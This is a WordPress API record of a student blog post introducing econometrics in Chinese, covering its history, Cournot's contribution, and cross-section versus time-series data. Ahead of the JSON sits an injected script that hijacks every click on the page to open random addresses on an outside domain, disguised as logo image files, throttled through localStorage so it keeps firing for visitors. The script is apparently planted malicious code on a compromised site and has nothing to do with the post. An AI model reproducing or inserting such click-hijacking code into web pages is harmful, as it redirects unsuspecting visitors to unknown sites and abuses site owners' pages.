<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":922,"date":"2022-09-15T14:49:43","date_gmt":"2022-09-15T06:49:43","guid":{"rendered":"https:\/\/edu.secda.info\/scu11354013\/?p=922"},"modified":"2023-10-16T21:41:57","modified_gmt":"2023-10-16T13:41:57","slug":"week-02-%e8%a8%88%e9%87%8f%e7%b6%93%e6%bf%9f%e5%ad%b8","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu11354013\/?p=922","title":{"rendered":"WEEK 02 &#8211; \u8a08\u91cf\u7d93\u6fdf\u5b78"},"content":{"rendered":"<p dir=\"ltr\">\u4ec0\u9ebc\u662f\u8a08\u91cf\u7d93\u6fdf\u5b78\u5462\uff1f<\/p>\n<p dir=\"ltr\"><strong>\u9867\u540d\u601d\u7fa9\uff0c\u4ee5\u7d71\u8a08\u65b9\u6cd5\u505a\u5b9a\u91cf\u7814\u7a76<\/strong><\/p>\n<p dir=\"ltr\">\u300c\u8a08\u91cf\u300d\u7684\u610f\u601d\u662f\u300c\u4ee5\u7d71\u8a08\u65b9\u6cd5\u505a\u5b9a\u91cf\u7814\u7a76\u300d\u3002\u64da\u8aaa\u7b2c\u4e00\u500b\u4f7f\u7528\u300c\u8a08\u91cf\u7d93\u6fdf\u5b78\u300d(Econometrics)\u7684\u4eba\u662f1919\u5e74\u7684Pawel Ciompa\uff0c\u4f46\u7576\u6642\u6c92\u6709\u660e\u78ba\u7684\u5b9a\u7fa9\uff0c\u8981\u52301926\u5e74\u632a\u5a01\u7d93\u6fdf\u5b78\u5bb6Ragnar Frisch\u53c3\u7167\u751f\u7269\u8a08\u91cf\u5b78(Biometrics)\u7684\u540d\u7a31\u4f86\u89e3\u91cb\uff0c\u8a08\u91cf\u7d93\u6fdf\u5b78\u624d\u5177\u5099\u4e86\u5927\u81f4\u7684\u5b9a\u7fa9\u3002<\/p>\n<p dir=\"ltr\"><strong>\u7d93\u6fdf\u5b78\u88e1\u7684\u5be6\u8b49\u624b\u6bb5<\/strong><\/p>\n<p dir=\"ltr\">\u4e00\u822c\u8a8d\u70ba\u7d93\u6fdf\u5b78\u501a\u9760\u5927\u91cf\u7684\u6578\u5b78\u8a08\u7b97\uff0c\u5176\u5be6\u65e9\u671f\u7684\u7d93\u6fdf\u5b78\u5c31\u5982\u540c\u65e9\u671f\u7684\u7269\u7406\u4e00\u6a23\uff0c\u6bd4\u8f03\u504f\u5411\u54f2\u5b78\uff0c\u5c0d\u7d93\u6fdf\u73fe\u8c61\u7684\u89c0\u5bdf\u3001\u8a6e\u91cb\u4ee5\u53ca\u8ce6\u8207\u6578\u64da\u610f\u7fa9\u4f54\u4e3b\u8981\u90e8\u4efd\uff0c\u5f8c\u4f86\u96a8\u8457\u6578\u5b78\u5de5\u5177\u4e0d\u65b7\u63a8\u9673\u51fa\u65b0\uff0c\u4ee5\u6578\u5b78\u4f86\u6b78\u7d0d\u3001\u5206\u6790\u6578\u64da\u624d\u6210\u70ba\u73fe\u4ee3\u7d93\u6fdf\u5b78\u7684\u6a23\u8c8c\uff0c\u800c\u8457\u91cd\u5206\u6790\u7684\u8a08\u91cf\u7d93\u6fdf\u5b78\u6b63\u662f\u7d93\u6fdf\u5b78\u9818\u57df\u88e1\u91cd\u8981\u7684\u7814\u7a76\u65b9\u6cd5\u4e4b\u4e00\u3002<\/p>\n<p dir=\"ltr\">\u66fe\u6709\u5b78\u8005\u7d66\u8a08\u91cf\u7d93\u6fdf\u5b78\u4e0b\u4e00\u500b\u5b9a\u7fa9\uff1a\u6578\u5b78\u3001\u7d71\u8a08\u3001\u7d93\u6fdf\u5206\u6790\u4e09\u8005\u7d50\u5408\u7684\u5b78\u79d1\u3002<\/p>\n<p dir=\"ltr\"><strong>\u53e4\u8afe\u5728\u5341\u4e5d\u4e16\u7d00\u9996\u767c\u5148\u8072<\/strong><\/p>\n<p dir=\"ltr\">\u5341\u4e5d\u4e16\u7d00\u65b0\u53e4\u5178\u7d93\u6fdf\u5b78\u518d\u5ea6\u8f49\u8b8a\uff0c\u7d93\u6fdf\u5b78\u7684\u7814\u7a76\u5f9e\u62bd\u8c61\u7684\u54f2\u5b78\u63a2\u8a0e\u958b\u59cb\u8d70\u5411\u4ee5\u6578\u5b78\u63cf\u8ff0\u4e8b\u5be6\u3001\u5206\u6790\u7684\u968e\u6bb5\uff0c\u800c\u4ee5\u7d71\u8a08\u65b9\u5f0f\u5448\u73fe\u7684\u7d93\u6fdf\u5b78\u8ad6\u8b49\u5f9e\u53e4\u8afe(Antoine Cournot)\u958b\u59cb\u3002<\/p>\n<p dir=\"ltr\">\u7576\u6642\u65b0\u53e4\u5178\u7d93\u6fdf\u5b78\u6b63\u9081\u5165\u500b\u9ad4\u7d93\u6fdf\u5b78\u7814\u7a76\u7684\u968e\u6bb5\uff0c\u53e4\u8afe\u4e5f\u53d7\u5176\u5f71\u97ff\uff0c\u800c\u4ed6\u4ee5\u5ee0\u5546\u4ea4\u6613\u7684\u884c\u70ba\u4f86\u7814\u7a76\uff0c\u4e26\u4ee5\u64c5\u9577\u7684\u6578\u5b78\u4f86\u63a2\u8a0e\u3002\u53d7\u5230\u7d93\u6fdf\u5b78\u4e4b\u7236 \u2500 \u4e9e\u7576\u2027\u65af\u5bc6\u7684\u5f37\u70c8\u5f71\u97ff\uff0c\u7576\u6642\u8a0e\u8ad6\u7d93\u6fdf\u5b78\u591a\u5f9e\u300c\u5b8c\u5168\u7af6\u722d\u5e02\u5834\u300d\u5165\u624b\uff0c\u4f46\u73fe\u5be6\u4e2d\u5b8c\u5168\u7af6\u722d\u5e02\u5834\u5f88\u5c11\u51fa\u73fe\uff0c\u5927\u591a\u662f\u7368\u4f54\u6027\u7af6\u722d\u5e02\u5834\u6216\u5be1\u4f54\u7af6\u722d\u5e02\u5834\u3002\u6ce8\u91cd\u5be6\u969b\u7684\u53e4\u8afe\u958b\u59cb\u7814\u7a76\u9019\u5169\u8005\uff0c\u4e26\u63d0\u51fa\u4e00\u5957\u6578\u5b78\u6a21\u578b\u3002<\/p>\n<p dir=\"ltr\">\u53e4\u8afe\u4ee5\u7d71\u8a08\u5b78\u4f86\u89e3\u91cb\u666f\u6c23\u5faa\u74b0\u7684\u65b9\u6cd5\u5728\u4ed6\u7684\u6642\u4ee3\u4e26\u4e0d\u53d7\u6b61\u8fce\uff0c\u5176\u6210\u5c31\u5728\u4ed6\u6b7b\u5f8c\u624d\u6f38\u6f38\u53d7\u5230\u91cd\u8996\u3002\u5982\u4eca\u6578\u5b78\u513c\u7136\u6210\u70ba\u7d93\u6fdf\u5b78\u7684\u4ee3\u540d\u8a5e\uff0c\u9019\u7a2e\u300c\u4ee5\u6578\u7406\u8a6e\u91cb\u7d93\u6fdf\u5b78\u300d\u7684\u57fa\u790e\u662f\u7531\u53e4\u8afe\u958b\u59cb\u7d25\u6839\u7684\u3002<\/p>\n<p dir=\"ltr\"><strong>\u57fa\u790e\u70ba\u6a5f\u7387\u8ad6\u8207\u7d71\u8a08\u5b78<\/strong><\/p>\n<p dir=\"ltr\">\u8a08\u91cf\u7d93\u6fdf\u5b78\u7684\u57fa\u790e\u5960\u57fa\u65bc\u6a5f\u7387\u8ad6\u8207\u7d71\u8a08\u5b78\u3002\u7d71\u8a08\u5b78\u5ee3\u6cdb\u61c9\u7528\u65bc\u8a31\u591a\u9818\u57df\uff0c\u800c\u5176\u76ee\u7684\u5206\u70ba\u7528\u6578\u64da\u63cf\u8ff0\u73fe\u8c61\u8207\u63a8\u8ad6\u4e8b\u5be6\u3002<\/p>\n<p dir=\"ltr\">\u900f\u904e\u7d71\u8a08\u5b78\uff0c\u6211\u5011\u53ef\u4ee5\u77e5\u9053\u5404\u500b\u5927\u5b78\u3001\u5404\u500b\u79d1\u7cfb\u7684\u7562\u696d\u751f\u8d77\u85aa\u7684\u5e73\u5747\u503c\uff0c\u7136\u5f8c\u900f\u904e\u8a08\u91cf\u7d93\u6fdf\u5b78\u7684\u5206\u6790\u624b\u6bb5\uff0c\u63a2\u8a0e\u7562\u696d\u5b78\u6821\u3001\u79d1\u7cfb\u8207\u8d77\u85aa\u4e4b\u9593\u7684\u95dc\u9023\u6027\uff0c\u751a\u81f3\u53ef\u4ee5\u505a\u51fa\u4e00\u500b\u6a21\u578b\uff0c\u7136\u5f8c\u5c31\u80fd\u85c9\u6b64\u9810\u6e2c\u67d0\u5927\u5b78\u3001\u67d0\u79d1\u7cfb\u7562\u696d\u751f\u7684\u8d77\u85aa\u6703\u843d\u5728\u54ea\u500b\u5340\u9593\u3002<\/p>\n<p dir=\"ltr\"><strong>\u63d0\u4f9b\u6c7a\u7b56\u6642\u7684\u53c3\u8003<\/strong><\/p>\n<p dir=\"ltr\">\u5982\u4e0a\u6240\u8ff0\uff0c\u8a08\u91cf\u7d93\u6fdf\u5b78\u6709\u5f88\u591a\u61c9\u7528\uff0c\u6bd4\u5982\u5206\u6790\u8cbf\u6613\u6578\u64da\u3001\u627e\u51fa\u5f7c\u6b64\u7684\u95dc\u4fc2\uff0c\u85c9\u6b64\u767c\u5c55\u4e00\u500b\u6578\u5b78\u6a21\u578b\u4f86\u9810\u6e2c\u672a\u4f86\u7684\u8b8a\u5316\uff0c\u5982\u6b64\u5c31\u80fd\u7d66\u516c\u53f8\u6216\u653f\u5e9c\u6c7a\u7b56\u8005\u63d0\u4f9b\u53c3\u8003\u3002\u63d0\u4f9b\u6c7a\u7b56\u662f\u8a08\u91cf\u7d93\u6fdf\u5b78\u66f4\u52a0\u91cd\u8996\u7684\uff0c\u9019\u662f\u5176\u8207\u8457\u91cd\u63cf\u8ff0\u73fe\u8c61\u3001\u63a8\u8ad6\u4e8b\u5be6\u7684\u7d71\u8a08\u5b78\u7684\u4e00\u500b\u76f8\u7570\u9ede\u3002<\/p>\n<p dir=\"ltr\"><strong>\u6709\u5169\u5927\u7814\u7a76\u4e3b\u984c<\/strong><\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p dir=\"ltr\">\u8a08\u91cf\u7d93\u6fdf\u5b78\u6709\u5169\u500b\u4e3b\u8981\u7684\u7814\u7a76\u5c0d\u8c61\uff1a\u6a6b\u622a\u9762\u6578\u64da\u548c\u6642\u9593\u5e8f\u5217\u6578\u64da\u3002<\/p>\n<p dir=\"ltr\">\u6a6b\u622a\u9762\u6578\u64da\u7684\u7814\u7a76\u53ef\u6b78\u7d0d\u4e0d\u540c\u7d93\u6fdf\u884c\u70ba\u4e4b\u9593\u662f\u5426\u6709\u76f8\u4f3c\u7684\u95dc\u806f\u6027\uff1b\u6642\u9593\u5e8f\u5217\u7684\u91cd\u9ede\u5247\u5728\u5206\u6790\u540c\u4e00\u7d93\u6fdf\u884c\u70ba\u5728\u4e0d\u540c\u6642\u9593\u5167\u7684\u7d50\u679c\uff0c\u4ee5\u5c55\u793a\u5176\u52d5\u614b\u884c\u70ba\u3002<\/p>\n<p dir=\"ltr\"><strong>\u5206\u70ba\u7406\u8ad6\u8a08\u91cf\u7d93\u6fdf\u5b78\u8207\u61c9\u7528\u8a08\u91cf\u7d93\u6fdf\u5b78<\/strong><\/p>\n<p dir=\"ltr\">\u7406\u8ad6\u8a08\u91cf\u7d93\u6fdf\u5b78\u5074\u91cd\u65bc\u7814\u7a76\u8a08\u91cf\u7d93\u6fdf\u5b78\u7684\u7406\u8ad6\uff0c\u6bd4\u8f03\u91cd\u8996\u7406\u8ad6\u7684\u6578\u5b78\u8b49\u660e\u8207\u63a8\u5c0e\u3002\u800c\u61c9\u7528\u8a08\u91cf\u7d93\u6fdf\u5b78\u5247\u5074\u91cd\u65bc\u5efa\u7acb\u3001\u61c9\u7528\u6578\u5b78\u6a21\u578b\uff0c\u8457\u91cd\u65bc\u8655\u7406\u5efa\u7acb\u3001\u61c9\u7528\u6a21\u578b\u904e\u7a0b\u4e2d\u5be6\u969b\u6703\u9047\u5230\u7684\u554f\u984c\u3002<\/p>\n<p dir=\"ltr\"><strong>\u8a08\u91cf\u7d93\u6fdf\u5b78\u5ee3\u6cdb\u61c9\u7528\u65bc\u5404\u500b\u9818\u57df<\/strong><\/p>\n<p dir=\"ltr\">\u56e0\u70ba\u8a08\u91cf\u7d93\u6fdf\u5b78\u7684\u5be6\u8b49\u6027\uff0c\u5176\u61c9\u7528\u4e0d\u4fb7\u9650\u65bc\u8a0e\u8ad6\u7d93\u6fdf\uff0c\u5305\u62ec\u516c\u5171\u885b\u751f\u3001\u6559\u80b2\u3001\u7d93\u6fdf\u5404\u500b\u91cd\u8981\u9818\u57df\u90fd\u80fd\u770b\u898b\u8a08\u91cf\u7d93\u6fdf\u5b78\u7684\u5f71\u5b50\u3002\u8207\u8ca1\u653f\u76f8\u95dc\u7684\u9818\u57df\uff0c\u6bd4\u5982\u8ca8\u5e63\u9700\u6c42\u5f48\u6027\u3001\u532f\u7387\u3001\u5229\u7387\u4e4b\u9593\u7684\u95dc\u806f\u7b49\u7b49\uff0c\u66f4\u662f\u8a08\u91cf\u7d93\u6fdf\u5b78\u4e2d\u71b1\u9580\u7684\u8a71\u984c\u3002<\/p>\n<p dir=\"ltr\">\u7e3d\u800c\u8a00\u4e4b\uff0c\u8a08\u91cf\u7d93\u6fdf\u5b78\u662f\u500b\u8207\u5927\u773e\u5207\u8eab\u76f8\u95dc\u7684\u5b78\u554f\uff0c\u800c\u9019\u4e5f\u662f\u5b83\u53d7\u5230\u91cd\u8996\u7684\u539f\u56e0\u4e4b\u4e00\u3002<\/p>\n<p>\u8cc7\u6599\u4f86\u6e90: https:\/\/www.cool3c.com\/article\/134328<\/p>\n<p><iframe loading=\"lazy\" title=\"\u8ba1\u91cf\u7ecf\u6d4e\u5b66\u5165\u95e8\u2014\u2014\u4ece0\u52301\" src=\"https:\/\/www.youtube.com\/embed\/S8lfjZcyPMc\" width=\"480\" height=\"360\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><span data-mce-type=\"bookmark\" style=\"display: inline-block; width: 0px; overflow: hidden; line-height: 0;\" class=\"mce_SELRES_start\">\ufeff<\/span><span data-mce-type=\"bookmark\" style=\"display: inline-block; width: 0px; overflow: hidden; line-height: 0;\" class=\"mce_SELRES_start\">\ufeff<\/span><span data-mce-type=\"bookmark\" style=\"display: inline-block; width: 0px; overflow: hidden; line-height: 0;\" class=\"mce_SELRES_start\">\ufeff<\/span><span data-mce-type=\"bookmark\" style=\"display: inline-block; width: 0px; overflow: hidden; line-height: 0;\" class=\"mce_SELRES_start\">\ufeff<\/span><span data-mce-type=\"bookmark\" style=\"display: inline-block; width: 0px; overflow: hidden; line-height: 0;\" class=\"mce_SELRES_start\">\ufeff<\/span><span data-mce-type=\"bookmark\" style=\"display: inline-block; width: 0px; overflow: hidden; line-height: 0;\" class=\"mce_SELRES_start\">\ufeff<\/span><\/iframe><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-full wp-image-926\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/09\/Econometrics-1.jpg\" alt=\"\" width=\"480\" height=\"360\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/09\/Econometrics-1.jpg 480w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/09\/Econometrics-1-300x225.jpg 300w\" sizes=\"(max-width: 480px) 100vw, 480px\" \/><\/p>\n<p>\u5716\u7247\u4f86\u6e90 : https:\/\/i.ytimg.com\/vi\/vEP4RIOKuE4\/hqdefault.jpg<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4ec0\u9ebc\u662f\u8a08\u91cf\u7d93\u6fdf\u5b78\u5462\uff1f \u9867\u540d\u601d\u7fa9\uff0c\u4ee5\u7d71\u8a08\u65b9\u6cd5\u505a\u5b9a\u91cf\u7814\u7a76 \u300c\u8a08\u91cf\u300d\u7684\u610f\u601d\u662f\u300c\u4ee5\u7d71\u8a08\u65b9<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/922"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=922"}],"version-history":[{"count":2,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/922\/revisions"}],"predecessor-version":[{"id":927,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/922\/revisions\/927"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=922"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=922"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=922"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}